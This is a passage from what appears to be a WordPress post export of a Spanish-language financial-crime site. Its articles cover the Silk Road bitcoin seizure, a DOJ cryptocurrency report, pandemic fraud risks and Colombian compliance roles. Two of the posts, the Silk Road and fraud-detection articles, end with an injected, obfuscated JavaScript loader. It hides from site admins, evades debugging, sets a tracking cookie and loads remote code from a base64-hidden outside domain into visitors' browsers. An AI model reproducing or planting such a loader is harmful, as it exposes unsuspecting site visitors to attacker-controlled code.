US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la 